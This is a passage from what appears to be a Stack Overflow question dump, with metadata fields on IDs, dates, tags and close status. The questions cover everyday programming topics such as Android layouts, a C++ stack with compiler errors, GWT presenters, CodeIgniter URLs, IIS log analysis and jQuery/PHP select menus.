/> which points to the local / project directory. Instead of the app.path I need to set the unique folder (user library). 4. In [http://stackoverflow.com/questions/6910901/canonical-list-of-xcode-environment-variables][1] I found a list of Xcode environment variables. The BUILD_DIR variable is close to what I need. It's a bit deeper in the folder hierarchy, but ok. 5. I thought, perhaps is [http://stackoverflow.com/questions/8536728/xcrun-packageapplication-failed-unable-to-copy-application][2] a similar problems. But it's not really the same. Even though BUILD_DIR is not absolutely correct, I tried to use that one. But I did not succeed in that. How do I call that Xcode env variable in my ant script? Is that even possible? I tried: < arg line="-v '${BUILD_DIR}'" /> < arg line="-v '$BUILD_DIR'" /> < arg line="-v 'BUILD_DIR'" /> Please, tell me which stupid mistake I did without knowing it. :-) Really big thanks in advance! And if you need more information (even thought I don't think, there is much left I did not tell you), just ask. Greetings and have a nice day, Dominic [1]: http://stackoverflow.com/questions/6910901/canonical-list-of-xcode-environment-variables [2]: http://stackoverflow.com/questions/8536728/xcrun-packageapplication-failed-unable-to-copy-application
0
7,677,416
10/06/2011 16:23:15
974,764
10/01/2011 18:45:28
1
0
Sample code to create a simple form in honeycomb
I am an expereinced Java developer but very new to android programming. I am working on a project for one of my clients who wants to create an android application out of a site survey they have been doing by hand (pen and paper). What I'm looking to do is create a UI mach up to present as a possible solution. I have looked around but cannot find any sample code to create a simple form. What I want to do: I want to have a form (that ideally kinda looks like the way mail looks when you are creating a new message) that allows the user to fill out Name, Address, Business Name, etc. As well a as some custom drop downs, buttons, etc. I want to do this for a tablet pc so I'm targeting Honeycomb 3.x as my platform. Can someone point me to any sample code to get me started?
android
honeycomb
null
null
null
null
open
Sample code to create a simple form in honeycomb === I am an expereinced Java developer but very new to android programming. I am working on a project for one of my clients who wants to create an android application out of a site survey they have been doing by hand (pen and paper). What I'm looking to do is create a UI mach up to present as a possible solution. I have looked around but cannot find any sample code to create a simple form. What I want to do: I want to have a form (that ideally kinda looks like the way mail looks when you are creating a new message) that allows the user to fill out Name, Address, Business Name, etc. As well a as some custom drop downs, buttons, etc. I want to do this for a tablet pc so I'm targeting Honeycomb 3.x as my platform. Can someone point me to any sample code to get me started?
0
3,272,180
07/17/2010 15:48:39
466,534
04/21/2010 12:03:08
798
5
implement stack in c++
#include <iostream> using namespace std; #define max 10 class stack{ private: int arr[max]; int top; public: stack(){ top=-1;//empty initialy stack } void push(int i){ top++; if (top<max){ arr[top]=i; } else{ cout<<"stack full"<<endl; top--; } } int pop(){ if (top==-1){ cout<<"stack is emphty"); return NULL; } else{ int data=arr[top]; arr[top]=NULL; top--; return data; } } bool empty(){ return (top==-1); } }; int main(){ stack a; a.push(12); a.push(30); a.push(23); a.push(42); a.push(100); while (!a.empty()){ a.pop(); } return 0; } i am doing implementation of stack in c++ but here is mistakes 1>------ Build started: Project: stack_implementations, Configuration: Debug Win32 ------ 1> stak_implementation.cpp 1>c:\users\david\documents\visual studio 2010\projects\stack_implementations\stak_implementation.cpp(31): error C2059: syntax error : ')' 1>c:\users\david\documents\visual studio 2010\projects\stack_implementations\stak_implementation.cpp(34): error C2059: syntax error : 'else' 1>c:\users\david\documents\visual studio 2010\projects\stack_implementations\stak_implementation.cpp(34): error C2334: unexpected token(s) preceding '{'; skipping apparent function body 1>c:\users\david\documents\visual studio 2010\projects\stack_implementations\stak_implementation.cpp(42): error C2628: 'stack' followed by 'bool' is illegal (did you forget a ';'?) 1>c:\users\david\documents\visual studio 2010\projects\stack_implementations\stak_implementation.cpp(44): error C2065: 'top' : undeclared identifier 1>c:\users\david\documents\visual studio 2010\projects\stack_implementations\stak_implementation.cpp(31): error C2143: syntax error : missing ';' before '}' 1>c:\users\david\documents\visual studio 2010\projects\stack_implementations\stak_implementation.cpp(47): error C2059: syntax error : '}' 1>c:\users\david\documents\visual studio 2010\projects\stack_implementations\stak_implementation.cpp(47): error C2143: syntax error : missing ';' before '}' 1>c:\users\david\documents\visual studio 2010\projects\stack_implementations\stak_implementation.cpp(47): error C2059: syntax error : '}' 1>c:\users\david\documents\visual studio 2010\projects\stack_implementations\stak_implementation.cpp(56): error C2039: 'empty' : is not a member of 'stack' 1> c:\users\david\documents\visual studio 2010\projects\stack_implementations\stak_implementation.cpp(4) : see declaration of 'stack' 1>c:\users\david\documents\visual studio 2010\projects\stack_implementations\stak_implementation.cpp(56): fatal error C1903: unable to recover from previous error(s); stopping compilation ========== Build: 0 succeeded, 1 failed, 0 up-to-date, 0 skipped ========== please help
c++
null
null
null
null
07/19/2010 00:33:39
too localized
implement stack in c++ === #include <iostream> using namespace std; #define max 10 class stack{ private: int arr[max]; int top; public: stack(){ top=-1;//empty initialy stack } void push(int i){ top++; if (top<max){ arr[top]=i; } else{ cout<<"stack full"<<endl; top--; } } int pop(){ if (top==-1){ cout<<"stack is emphty"); return NULL; } else{ int data=arr[top]; arr[top]=NULL; top--; return data; } } bool empty(){ return (top==-1); } }; int main(){ stack a; a.push(12); a.push(30); a.push(23); a.push(42); a.push(100); while (!a.empty()){ a.pop(); } return 0; } i am doing implementation of stack in c++ but here is mistakes 1>------ Build started: Project: stack_implementations, Configuration: Debug Win32 ------ 1> stak_implementation.cpp 1>c:\users\david\documents\visual studio 2010\projects\stack_implementations\stak_implementation.cpp(31): error C2059: syntax error : ')' 1>c:\users\david\documents\visual studio 2010\projects\stack_implementations\stak_implementation.cpp(34): error C2059: syntax error : 'else' 1>c:\users\david\documents\visual studio 2010\projects\stack_implementations\stak_implementation.cpp(34): error C2334: unexpected token(s) preceding '{'; skipping apparent function body 1>c:\users\david\documents\visual studio 2010\projects\stack_implementations\stak_implementation.cpp(42): error C2628: 'stack' followed by 'bool' is illegal (did you forget a ';'?) 1>c:\users\david\documents\visual studio 2010\projects\stack_implementations\stak_implementation.cpp(44): error C2065: 'top' : undeclared identifier 1>c:\users\david\documents\visual studio 2010\projects\stack_implementations\stak_implementation.cpp(31): error C2143: syntax error : missing ';' before '}' 1>c:\users\david\documents\visual studio 2010\projects\stack_implementations\stak_implementation.cpp(47): error C2059: syntax error : '}' 1>c:\users\david\documents\visual studio 2010\projects\stack_implementations\stak_implementation.cpp(47): error C2143: syntax error : missing ';' before '}' 1>c:\users\david\documents\visual studio 2010\projects\stack_implementations\stak_implementation.cpp(47): error C2059: syntax error : '}' 1>c:\users\david\documents\visual studio 2010\projects\stack_implementations\stak_implementation.cpp(56): error C2039: 'empty' : is not a member of 'stack' 1> c:\users\david\documents\visual studio 2010\projects\stack_implementations\stak_implementation.cpp(4) : see declaration of 'stack' 1>c:\users\david\documents\visual studio 2010\projects\stack_implementations\stak_implementation.cpp(56): fatal error C1903: unable to recover from previous error(s); stopping compilation ========== Build: 0 succeeded, 1 failed, 0 up-to-date, 0 skipped ========== please help
3
9,476,092
02/28/2012 03:46:34
61,320
02/02/2009 00:22:23
2,397
30
Resources to learn how to develop a schedule/appointment system in C#?
Not a job/task schedule, but actual appointment system people can use to create recurring events (like a calendar). It should support many recurrence patterns such as 1st Monday of each month, every Tues/Thurs, a specific date, etc. I've been trying to review [RFC 2445][1], but I'm finding it difficult to absorb, there's **A LOT** of content in it. I've looked through the [sysschedules table][2] from SQL Server, but it is more along the lines of a job schedule (which I'm sure shares some many similarities, but is still melting my brain at this point). I'll be attempting to build one using ASP.NET MVC, C#, on SQL Server 2008R2. The table schema, how to query for specified dates, etc... still elude me at this time. Are there resources out there (website, eBook, printed book, etc...) to help programmers learn how to program a schedule/calendar system (free or paid, I don't mind). [1]: http://www.ietf.org/rfc/rfc2445.txt [2]: http://msdn.microsoft.com/en-us/library/ms178644.aspx
c#
asp.net-mvc
architecture
ical
null
02/29/2012 18:39:08
not constructive
Resources to learn how to develop a schedule/appointment system in C#? === Not a job/task schedule, but actual appointment system people can use to create recurring events (like a calendar). It should support many recurrence patterns such as 1st Monday of each month, every Tues/Thurs, a specific date, etc. I've been trying to review [RFC 2445][1], but I'm finding it difficult to absorb, there's **A LOT** of content in it. I've looked through the [sysschedules table][2] from SQL Server, but it is more along the lines of a job schedule (which I'm sure shares some many similarities, but is still melting my brain at this point). I'll be attempting to build one using ASP.NET MVC, C#, on SQL Server 2008R2. The table schema, how to query for specified dates, etc... still elude me at this time. Are there resources out there (website, eBook, printed book, etc...) to help programmers learn how to program a schedule/calendar system (free or paid, I don't mind). [1]: http://www.ietf.org/rfc/rfc2445.txt [2]: http://msdn.microsoft.com/en-us/library/ms178644.aspx
4
9,310,430
02/16/2012 11:24:21
1,095,290
12/13/2011 08:08:16
745
14
How to make customised android button shown in the below image?
By using css or jquery it's easy to bring this grouped buttons. But in android native application how to design a xml file to bring grouped buttons like this, without using tabWidget method (i.e)tab layout. ![enter image description here][1] [1]: http://i.stack.imgur.com/7yu0n.jpg
android
xml
android-layout
button
uibutton
null
open
How to make customised android button shown in the below image? === By using css or jquery it's easy to bring this grouped buttons. But in android native application how to design a xml file to bring grouped buttons like this, without using tabWidget method (i.e)tab layout. ![enter image description here][1] [1]: http://i.stack.imgur.com/7yu0n.jpg
0
8,576,042
12/20/2011 13:15:06
649,994
03/08/2011 14:56:10
47
7
Socket disconnects in iOS5 when lock key pressed
My iPhone application is based on remote desktop protocol which communcates with PC using socket programming. Everything works fine in iOS4, but now i encounter an issue with iOS5 based device. My socket get's disconnected when user presses lock button in iOS5 based devices. I have developed a cocoa based static socket library which does all communication for my iphone app. FYI: I just call a function exposed from my library to start the communication. a. Why does the socket disconnects on pressing lock button in iOS5 ? b. Is there a way to prevent the socket from not being disconnect? Thanks,
sockets
button
ios5
locking
disconnect
null
open
Socket disconnects in iOS5 when lock key pressed === My iPhone application is based on remote desktop protocol which communcates with PC using socket programming. Everything works fine in iOS4, but now i encounter an issue with iOS5 based device. My socket get's disconnected when user presses lock button in iOS5 based devices. I have developed a cocoa based static socket library which does all communication for my iphone app. FYI: I just call a function exposed from my library to start the communication. a. Why does the socket disconnects on pressing lock button in iOS5 ? b. Is there a way to prevent the socket from not being disconnect? Thanks,
0
9,961,660
04/01/2012 03:30:47
1,151,401
01/16/2012 07:41:34
1
0
Extracting a string before a space
the name Subhajit Sinha is entered in textbox. how to extract only Subhajit in one textbox and Sinha in another textbox after clicking the Submit button in the form.
c#
null
null
null
null
04/01/2012 05:15:10
not a real question
Extracting a string before a space === the name Subhajit Sinha is entered in textbox. how to extract only Subhajit in one textbox and Sinha in another textbox after clicking the Submit button in the form.
1
7,978,786
11/02/2011 10:23:36
784,766
06/05/2011 13:32:15
252
2
Make differents between setOnClickListener and setOnTouchListener
I need some help. In my android app I have a ViewFlipper that contains some LinearLayout. On every LinearLayout I have a ImageView. For switching between screens I use this code : LinearLayout layMain = (LinearLayout) findViewById(R.id.layout_main); layMain.setOnTouchListener((OnTouchListener) this); //-------------- public boolean onTouch(View arg0, MotionEvent arg1) { // Get the action that was done on this touch event switch (arg1.getAction()) { case MotionEvent.ACTION_DOWN: { // store the X value when the user's finger was pressed down downXValue = arg1.getX(); break; } case MotionEvent.ACTION_UP: { // Get the X value when the user released his/her finger float currentX = arg1.getX(); // going backwards: pushing stuff to the right if (downXValue < currentX) { // Get a reference to the ViewFlipper ViewFlipper vf = (ViewFlipper) findViewById(R.id.details); // Set the animation vf.setOutAnimation(AnimationUtils.loadAnimation(this, R.anim.push_right_out)); vf.setInAnimation(AnimationUtils.loadAnimation(this, R.anim.push_right_in)); // Flip! vf.showPrevious(); } // going forwards: pushing stuff to the left if (downXValue > currentX) { // Get a reference to the ViewFlipper ViewFlipper vf = (ViewFlipper) findViewById(R.id.details); // Set the animation // vf.setInAnimation(AnimationUtils.loadAnimation(this, // R.anim.push_left_in)); vf.setOutAnimation(AnimationUtils.loadAnimation(this, R.anim.push_left_out)); vf.setInAnimation(AnimationUtils.loadAnimation(this, R.anim.push_left_in)); // Flip! vf.showNext(); } break; } } // if you return false, these actions will not be recorded return true; } Every screen contains a ImageView.So, when I switch the screens the imageview is changing. Now I want to implement this: When an image is clicked a url to be open. Here is my code : ViewFlipper vf = (ViewFlipper) findViewById(R.id.details); for (i = 0; i < jArray.length(); i++) { LinearLayout l = new LinearLayout(this); l.setLayoutParams(new LayoutParams(LayoutParams.FILL_PARENT, LayoutParams.FILL_PARENT)); l.setBackgroundColor(0x000000); l.setOrientation(LinearLayout.VERTICAL); vf.addView(l); ImageView img = new ImageView(this); img.setLayoutParams(new LayoutParams(LayoutParams.FILL_PARENT, LayoutParams.FILL_PARENT)); Drawable image1 = ImageOperations(getBaseContext(), url[i]); img.setImageDrawable(image1); System.out.println("target" + target[i]); img.setOnClickListener(new OnClickListener() { @Override public void onClick(View v) { // TODO Auto-generated method stub Intent browserIntent = new Intent(Intent.ACTION_VIEW, Uri .parse("http://google.com")); startActivity(browserIntent); } }); l.addView(img); } The problem is that everytime I touch the screen the url is open and now I can't switch between screens. How to do this, to make the differents between onClick() and on Touch()? Please help me.. Thanks in advance
android
onclick
imageview
viewflipper
ontouchlistener
null
open
Make differents between setOnClickListener and setOnTouchListener === I need some help. In my android app I have a ViewFlipper that contains some LinearLayout. On every LinearLayout I have a ImageView. For switching between screens I use this code : LinearLayout layMain = (LinearLayout) findViewById(R.id.layout_main); layMain.setOnTouchListener((OnTouchListener) this); //-------------- public boolean onTouch(View arg0, MotionEvent arg1) { // Get the action that was done on this touch event switch (arg1.getAction()) { case MotionEvent.ACTION_DOWN: { // store the X value when the user's finger was pressed down downXValue = arg1.getX(); break; } case MotionEvent.ACTION_UP: { // Get the X value when the user released his/her finger float currentX = arg1.getX(); // going backwards: pushing stuff to the right if (downXValue < currentX) { // Get a reference to the ViewFlipper ViewFlipper vf = (ViewFlipper) findViewById(R.id.details); // Set the animation vf.setOutAnimation(AnimationUtils.loadAnimation(this, R.anim.push_right_out)); vf.setInAnimation(AnimationUtils.loadAnimation(this, R.anim.push_right_in)); // Flip! vf.showPrevious(); } // going forwards: pushing stuff to the left if (downXValue > currentX) { // Get a reference to the ViewFlipper ViewFlipper vf = (ViewFlipper) findViewById(R.id.details); // Set the animation // vf.setInAnimation(AnimationUtils.loadAnimation(this, // R.anim.push_left_in)); vf.setOutAnimation(AnimationUtils.loadAnimation(this, R.anim.push_left_out)); vf.setInAnimation(AnimationUtils.loadAnimation(this, R.anim.push_left_in)); // Flip! vf.showNext(); } break; } } // if you return false, these actions will not be recorded return true; } Every screen contains a ImageView.So, when I switch the screens the imageview is changing. Now I want to implement this: When an image is clicked a url to be open. Here is my code : ViewFlipper vf = (ViewFlipper) findViewById(R.id.details); for (i = 0; i < jArray.length(); i++) { LinearLayout l = new LinearLayout(this); l.setLayoutParams(new LayoutParams(LayoutParams.FILL_PARENT, LayoutParams.FILL_PARENT)); l.setBackgroundColor(0x000000); l.setOrientation(LinearLayout.VERTICAL); vf.addView(l); ImageView img = new ImageView(this); img.setLayoutParams(new LayoutParams(LayoutParams.FILL_PARENT, LayoutParams.FILL_PARENT)); Drawable image1 = ImageOperations(getBaseContext(), url[i]); img.setImageDrawable(image1); System.out.println("target" + target[i]); img.setOnClickListener(new OnClickListener() { @Override public void onClick(View v) { // TODO Auto-generated method stub Intent browserIntent = new Intent(Intent.ACTION_VIEW, Uri .parse("http://google.com")); startActivity(browserIntent); } }); l.addView(img); } The problem is that everytime I touch the screen the url is open and now I can't switch between screens. How to do this, to make the differents between onClick() and on Touch()? Please help me.. Thanks in advance
0
3,801,035
09/27/2010 04:01:20
459,108
09/27/2010 03:54:07
1
0
Scheduler hacking in Freebsd 5.2.1
How can I modify the thread priorities within, umm... the Timesharing class? In case I want to implement my own scheduler, how would I have to do that? (like assigning priorites on my own terms) How do I play around with the time slice values (or time quantums, as they are referred to by a lot of people) *Yes, this is a homework question. I do not expect a complete answer, just some starting point. Thanks
kernel
freebsd
scheduler
null
null
null
open
Scheduler hacking in Freebsd 5.2.1 === How can I modify the thread priorities within, umm... the Timesharing class? In case I want to implement my own scheduler, how would I have to do that? (like assigning priorites on my own terms) How do I play around with the time slice values (or time quantums, as they are referred to by a lot of people) *Yes, this is a homework question. I do not expect a complete answer, just some starting point. Thanks
0
10,114,757
04/11/2012 22:16:21
1,246,870
03/03/2012 13:14:16
498
21
what are the tools to parse/analyze IIS logs - ideally free/open source?
note: there are few similar questions already asked here - but they are from 2009. May be something has changed since then. I'm responsible for a bunch of websites hosted on different servers. I do not do any log analysis right now, but I would like to change this. First question - what is the best tool to view ISSUES with the website based on IIS logs (i.e. 404, 500 responses, long page processing, etc)? Ideally with grouping/sorting options? I do not want to spend a lot of time on this, I just want to periodically check if all is good with the website. Second question (and I know most likely i'm asking for too much) - but is there any way to expose processed logs to web? So I can review things mentioned above without RPDing into the server? Ideally I'm looking for a free/open source solution, but I'm ready to pay for a good software as well (but not a lot of $$). Thank you.
iis
logging
null
null
null
null
open
what are the tools to parse/analyze IIS logs - ideally free/open source? === note: there are few similar questions already asked here - but they are from 2009. May be something has changed since then. I'm responsible for a bunch of websites hosted on different servers. I do not do any log analysis right now, but I would like to change this. First question - what is the best tool to view ISSUES with the website based on IIS logs (i.e. 404, 500 responses, long page processing, etc)? Ideally with grouping/sorting options? I do not want to spend a lot of time on this, I just want to periodically check if all is good with the website. Second question (and I know most likely i'm asking for too much) - but is there any way to expose processed logs to web? So I can review things mentioned above without RPDing into the server? Ideally I'm looking for a free/open source solution, but I'm ready to pay for a good software as well (but not a lot of $$). Thank you.
0
7,070,640
08/15/2011 20:45:05
1,528,840
08/11/2010 13:01:02
86
4
How to fix "disappeared" memory after Linux 2.6.18 Kernel?
I think there is currently a known issue that there are some issues with memory display since 2.6.18 kernel: For example: dmesg | grep Memory [ 0.000000] Memory: 82008k/98304k available (3091k kernel code, 448k absent, 15848k reserved, 2471k data, 460k init) which is the actual amount of memory on a 96MB RAM VPS using Xen PV. However, when using free -m, here is the actual output: free -m total used free shared buffers cached Mem: 86 74 11 0 8 48 -/+ buffers/cache: 18 68 Swap: 127 0 127 It seems that 10MB of memory was "eaten" away by the free -m output. Does anyone have any solution to fix this? Thanks!
linux
memory
null
null
null
08/15/2011 23:46:54
off topic
How to fix "disappeared" memory after Linux 2.6.18 Kernel? === I think there is currently a known issue that there are some issues with memory display since 2.6.18 kernel: For example: dmesg | grep Memory [ 0.000000] Memory: 82008k/98304k available (3091k kernel code, 448k absent, 15848k reserved, 2471k data, 460k init) which is the actual amount of memory on a 96MB RAM VPS using Xen PV. However, when using free -m, here is the actual output: free -m total used free shared buffers cached Mem: 86 74 11 0 8 48 -/+ buffers/cache: 18 68 Swap: 127 0 127 It seems that 10MB of memory was "eaten" away by the free -m output. Does anyone have any solution to fix this? Thanks!
2
10,442,918
05/04/2012 04:56:14
876,582
08/03/2011 12:22:50
1
0
Code Igniter url segment illegal charachters replace with '-'
In code igniter i need to replace illegal characters of 4th segment with '-', for example http://example.com/groups/index/26/this-is-a-test works fine and http://example.com/groups/index/26/this-is-a-test!!! this not working and show 'The URI you submitted has disallowed characters." error message. I need to replace ! or any other disallowed characters with '-'. Can you please give me a solution for this. Thanks in advance.
php
codeigniter
url
routing
null
05/04/2012 15:58:46
not a real question
Code Igniter url segment illegal charachters replace with '-' === In code igniter i need to replace illegal characters of 4th segment with '-', for example http://example.com/groups/index/26/this-is-a-test works fine and http://example.com/groups/index/26/this-is-a-test!!! this not working and show 'The URI you submitted has disallowed characters." error message. I need to replace ! or any other disallowed characters with '-'. Can you please give me a solution for this. Thanks in advance.
1
7,902,704
10/26/2011 12:42:06
1,014,471
10/26/2011 11:49:55
1
1
iOS 5 - add Splash/Launch view with storyboard
i create project with storyboard base uitabbarcontroller, i try to add splash view that will show until server request will finsih, so i create a new view controller class called "SplashViewControler" with xib file and i try to add as subview to windows object. the SplashViewControler not show... any ideas ? thanks
iphone
ios5
storyboard
null
null
null
open
iOS 5 - add Splash/Launch view with storyboard === i create project with storyboard base uitabbarcontroller, i try to add splash view that will show until server request will finsih, so i create a new view controller class called "SplashViewControler" with xib file and i try to add as subview to windows object. the SplashViewControler not show... any ideas ? thanks
0
3,953,597
10/17/2010 14:20:58
165,078
08/28/2009 19:49:39
35
1
Getting user profile data in Silverlight 4
I am fairly new to Silverlight and RIA services, and I am trying to build a small project to understand it. So basically I created a Business Application, and I have the normal Login screen where I can add a user. That is fine and I can add a user and get him into the aspnet_Users table. Now I have created some extra fields, like Mob No, Tel No, DOB, Locality etc, which I have put in a table I have created called the UserProfile, and my idea is to get the username that was registered, and insert it into my UserProfile table with the other relevant data. So I created a page called Profile.xaml, I created a UserProfileDomainService.cs where I have just one query, to get the user profile data from the table, and then created a Details DataGrid on my page, and the QueryName in my case is GetUserProfilesQuery(). Now what i wish to do is, get the user logged in, get his username, and check in my table to see if there is already data in the table. If there is populate the fields on the DataGrid with data, so that the user can modify this data, and if not, allow the user to insert data into the table. So I have created a UserProfileViewModel class, and I want to create the query to get the data relevant to this user. However I got stuck on how to do all this, and how to get the user logged in. Can anybody give me some advice or point me to some tutorials on how I can achieve this? Thanks a lot and your help is very much appreciated.
silverlight-4.0
asp.net-profiles
riaservices
null
null
null
open
Getting user profile data in Silverlight 4 === I am fairly new to Silverlight and RIA services, and I am trying to build a small project to understand it. So basically I created a Business Application, and I have the normal Login screen where I can add a user. That is fine and I can add a user and get him into the aspnet_Users table. Now I have created some extra fields, like Mob No, Tel No, DOB, Locality etc, which I have put in a table I have created called the UserProfile, and my idea is to get the username that was registered, and insert it into my UserProfile table with the other relevant data. So I created a page called Profile.xaml, I created a UserProfileDomainService.cs where I have just one query, to get the user profile data from the table, and then created a Details DataGrid on my page, and the QueryName in my case is GetUserProfilesQuery(). Now what i wish to do is, get the user logged in, get his username, and check in my table to see if there is already data in the table. If there is populate the fields on the DataGrid with data, so that the user can modify this data, and if not, allow the user to insert data into the table. So I have created a UserProfileViewModel class, and I want to create the query to get the data relevant to this user. However I got stuck on how to do all this, and how to get the user logged in. Can anybody give me some advice or point me to some tutorials on how I can achieve this? Thanks a lot and your help is very much appreciated.
0
8,580,225
12/20/2011 18:32:47
543,572
07/28/2010 20:27:47
483
49
How to set a Presenter in a composite widget in GWT
I have a GWT 2.4 app using MVP, clientFactory, activities, places, and uiBinder. I have a composite widget that I created as a standalone object with it's own ui.xml file. I reference that class and insert it into the main viewImpl.ui.xml file. The composite widget receives some data from the backend and I need to get it back to the activity so it can be displayed in a table. I'm using the presenter that is associated with the view to get to the activity. Here is the code: In the View interface: public interface NameView extends IsWidget { void setPresenter(Presenter presenter); ... public interface Presenter{ void goTo(Place place); void setRowDataList(List<Data> rowData); } In my Activity I implement the View.Presenter as in: Activity extends AbstractActivity implements NameView.Presenter and in the start method for the activity I use: NameView nameView = clientFactory.getNameView();//NameView is just an example. nameView.setPresenter(this); ... to setup the presenter and instantiate it. My problem is, in the widget I need this: presenter.setRowDataList(rowData); but I'm not sure how to reference the instantiated Presenter from the widget? I know GIN would do it, but I'm not using that in the app as I've never setup GIN with GWT. Any ideas as to the correct way to do this?
gwt
mvp
presenter
null
null
null
open
How to set a Presenter in a composite widget in GWT === I have a GWT 2.4 app using MVP, clientFactory, activities, places, and uiBinder. I have a composite widget that I created as a standalone object with it's own ui.xml file. I reference that class and insert it into the main viewImpl.ui.xml file. The composite widget receives some data from the backend and I need to get it back to the activity so it can be displayed in a table. I'm using the presenter that is associated with the view to get to the activity. Here is the code: In the View interface: public interface NameView extends IsWidget { void setPresenter(Presenter presenter); ... public interface Presenter{ void goTo(Place place); void setRowDataList(List<Data> rowData); } In my Activity I implement the View.Presenter as in: Activity extends AbstractActivity implements NameView.Presenter and in the start method for the activity I use: NameView nameView = clientFactory.getNameView();//NameView is just an example. nameView.setPresenter(this); ... to setup the presenter and instantiate it. My problem is, in the widget I need this: presenter.setRowDataList(rowData); but I'm not sure how to reference the instantiated Presenter from the widget? I know GIN would do it, but I'm not using that in the app as I've never setup GIN with GWT. Any ideas as to the correct way to do this?
0
7,082,039
08/16/2011 17:04:32
190,822
10/15/2009 19:00:20
4,719
47
Talking to several USB modems from java
I wish to connect 10 usb modems to a windows/linux pc and send AT comments to them to send sms and receive sms from them. Is this possible in Java?
java
sms
null
null
null
null
open
Talking to several USB modems from java === I wish to connect 10 usb modems to a windows/linux pc and send AT comments to them to send sms and receive sms from them. Is this possible in Java?
0
10,214,809
04/18/2012 17:36:31
1,135,898
01/07/2012 12:00:18
41
2
html5 video keep users volume level
How do you keep the volume level set by a user when they watch a html5 video for the next video they watch? At the moment I watch one vid, turn it down, then spark up another vid and the volume is back to flat out. Annoying.
html5-video
null
null
null
null
null
open
html5 video keep users volume level === How do you keep the volume level set by a user when they watch a html5 video for the next video they watch? At the moment I watch one vid, turn it down, then spark up another vid and the volume is back to flat out. Annoying.
0
8,561,627
12/19/2011 12:50:35
243,912
01/05/2010 12:51:42
531
16
On the current interest in COM
I am starting to do some development in C++ which includes the use of COM interfaces in Windows. I have to make a decision to learn or not to learn the COM technology. So, I want to ask if the COM programming is still widely used or is it rather outdated? Is it still a good idea to invest ones time into learning COM?
c++
windows
com
null
null
12/19/2011 13:11:14
not constructive
On the current interest in COM === I am starting to do some development in C++ which includes the use of COM interfaces in Windows. I have to make a decision to learn or not to learn the COM technology. So, I want to ask if the COM programming is still widely used or is it rather outdated? Is it still a good idea to invest ones time into learning COM?
4
11,191,781
06/25/2012 14:57:33
1,477,474
06/23/2012 23:24:22
1
0
How to calculate distance in a 2ndArray?
for some picture analysis i search a efficient option to calculate the distance from some (x,y)-Point to another point in a Array which have the same values. i want to use it to detect large areas that contains the same color. Does someone have an idea? For example i have the following matrix and want detect the left square on top. [0 255 255 0 0 ] [0 255 255 0 0 ] [0 255 0 0 0 ] [0 0 0 0 255]
java
opencv
javacv
null
null
06/26/2012 16:40:15
not a real question
How to calculate distance in a 2ndArray? === for some picture analysis i search a efficient option to calculate the distance from some (x,y)-Point to another point in a Array which have the same values. i want to use it to detect large areas that contains the same color. Does someone have an idea? For example i have the following matrix and want detect the left square on top. [0 255 255 0 0 ] [0 255 255 0 0 ] [0 255 0 0 0 ] [0 0 0 0 255]
1
8,592,719
12/21/2011 16:02:03
802,331
06/16/2011 21:30:22
132
0
program slowing down my computer
I have a java program that downloads a CSV file from the web, and then stores the information in arrays then processes the information. When i run this program multiple times (through Eclipse) my computer seems to start getting slower and glitchier. Is it me or is the program causing this? Is there anyway to fix it? I have Vista on a LenovoT400 with 2.98G memory and a 2.53GHz processor. I am not running the program while doing other things.
java
eclipse
null
null
null
12/21/2011 16:08:15
off topic
program slowing down my computer === I have a java program that downloads a CSV file from the web, and then stores the information in arrays then processes the information. When i run this program multiple times (through Eclipse) my computer seems to start getting slower and glitchier. Is it me or is the program causing this? Is there anyway to fix it? I have Vista on a LenovoT400 with 2.98G memory and a 2.53GHz processor. I am not running the program while doing other things.
2
10,157,623
04/14/2012 21:45:32
826,510
07/03/2011 01:16:57
91
10
populating items into a Select using jQuery ajax json, php
simple code to populate items into a Select using jQuery ajax json, php on first menu change it must make ajax call to fruit-varities.php to get a json array and create the second menu main page <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <title>Load JSON data with jQuery, PHP and MySQL</title> <link rel="stylesheet" type="text/css" href="/css/main.min.css?1319445416" /> <script src="http://ajax.googleapis.com/ajax/libs/jquery/1.7.2/jquery.min.js" type="text/javascript"></script> <script type="text/javascript"> $(document).ready(function() { $('#mark').change(function() { $.get("fruit-varities.php", {'idcategory' : idc }, function(data){ var select = $('#series').empty(); $.each(data.values, function(i,item) { select.append( '<option value="' + item.fruit_id + '">' + item.name + '</option>' ); }); }, "json"); }); }); </script> </head> <body> <form> <select id="mark"> <option value="">--</option> <option value="bmw">BMW</option> <option value="audi">Audi</option> </select> <select id="series"> </select> <div id="view"> </div> </form> </body></html> and here is fruit-varities.php <?php if(isset($_GET['idcategory'])){ $item = Array( Array ( "fruit_id" => "1", "name" => "Apple", "variety" => "Red Delicious" ) ); } echo json_encode(item); ?> this is doesn't work at it all don't know why ? everything seems to be fine for me but i don't know what is the problem
php
jquery
json
jquery-ajax
null
null
open
populating items into a Select using jQuery ajax json, php === simple code to populate items into a Select using jQuery ajax json, php on first menu change it must make ajax call to fruit-varities.php to get a json array and create the second menu main page <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <title>Load JSON data with jQuery, PHP and MySQL</title> <link rel="stylesheet" type="text/css" href="/css/main.min.css?1319445416" /> <script src="http://ajax.googleapis.com/ajax/libs/jquery/1.7.2/jquery.min.js" type="text/javascript"></script> <script type="text/javascript"> $(document).ready(function() { $('#mark').change(function() { $.get("fruit-varities.php", {'idcategory' : idc }, function(data){ var select = $('#series').empty(); $.each(data.values, function(i,item) { select.append( '<option value="' + item.fruit_id + '">' + item.name + '</option>' ); }); }, "json"); }); }); </script> </head> <body> <form> <select id="mark"> <option value="">--</option> <option value="bmw">BMW</option> <option value="audi">Audi</option> </select> <select id="series"> </select> <div id="view"> </div> </form> </body></html> and here is fruit-varities.php <?php if(isset($_GET['idcategory'])){ $item = Array( Array ( "fruit_id" => "1", "name" => "Apple", "variety" => "Red Delicious" ) ); } echo json_encode(item); ?> this is doesn't work at it all don't know why ? everything seems to be fine for me but i don't know what is the problem
0
11,729,835
07/30/2012 21:23:10
1,563,422
07/30/2012 15:43:09
40
4
How to disable "prevent this page from creating additional dialogues"?
I'm developing a web app that utilises Javascript `alert()` and `confirm()` dialogue boxes. I have admin access to the (Windows) machines that run the app. How can I stop Chrome from showing this checkbox? Is there a setting I can modify amongst the plethora of them? I know I could modify the source code, but I'd like it so that Chrome could still auto-update. I don't need to worry about other browsers since the app only runs in Chrome. Thanks!
google-chrome
null
null
null
null
null
open
